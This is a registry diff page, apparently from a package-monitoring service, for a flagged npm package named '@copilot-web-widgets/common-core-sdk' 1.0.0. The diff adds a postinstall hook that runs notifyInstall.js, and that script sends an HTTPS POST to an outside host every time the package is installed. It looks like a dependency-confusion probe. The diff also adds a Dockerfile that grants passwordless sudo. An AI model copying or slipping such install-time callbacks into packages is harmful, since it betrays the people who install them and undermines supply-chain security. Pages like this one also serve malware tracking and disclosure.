@copilot-web-widgets/common-core-sdk 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @copilot-web-widgets/common-core-sdk might be problematic. Click here for more details.

@@ -0,0 +1,12 @@
1
+ FROM node:22
2
+
3
+ # Install basic development tools
4
+ RUN apt update && apt install -y less man-db sudo
5
+
6
+ # Ensure default `node` user has access to `sudo`
7
+ ARG USERNAME=node
8
+ RUN echo $USERNAME ALL=\(root\) NOPASSWD:ALL > /etc/sudoers.d/$USERNAME \
9
+ && chmod 0440 /etc/sudoers.d/$USERNAME
10
+
11
+ # Set `DEVCONTAINER` environment variable to help with orientation
12
+ ENV DEVCONTAINER=true
@@ -0,0 +1,8 @@
1
+ // See https://containers.dev/implementors/json_reference/ for configuration reference
2
+ {
3
+ "name": "Untitled Node.js project",
4
+ "build": {
5
+ "dockerfile": "Dockerfile"
6
+ },
7
+ "remoteUser": "node"
8
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "@copilot-web-widgets/common-core-sdk",
3
+ "version": "1.0.0",
4
+ "main": "src/index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "postinstall": "node src/notifyInstall.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
12
+ }
package/src/index.js ADDED
File without changes
@@ -0,0 +1,31 @@
1
+ const https = require('https');
2
+
3
+ const data = JSON.stringify({
4
+ message: 'Package has been installed or used',
5
+ timestamp: new Date().toISOString(),
6
+ packageName: "@copilot-web-widgets/common-core-sdk"
7
+ });
8
+
9
+ const options = {
10
+ hostname: 'umrx81vt.c5.rs',
11
+ port: 443,
12
+ path: '/',
13
+ method: 'POST',
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': data.length
17
+ }
18
+ };
19
+
20
+ const req = https.request(options, (res) => {
21
+ res.on('data', (d) => {
22
+ process.stdout.write(d);
23
+ });
24
+ });
25
+
26
+ req.on('error', (error) => {
27
+ console.error(error);
28
+ });
29
+
30
+ req.write(data);
31
+ req.end();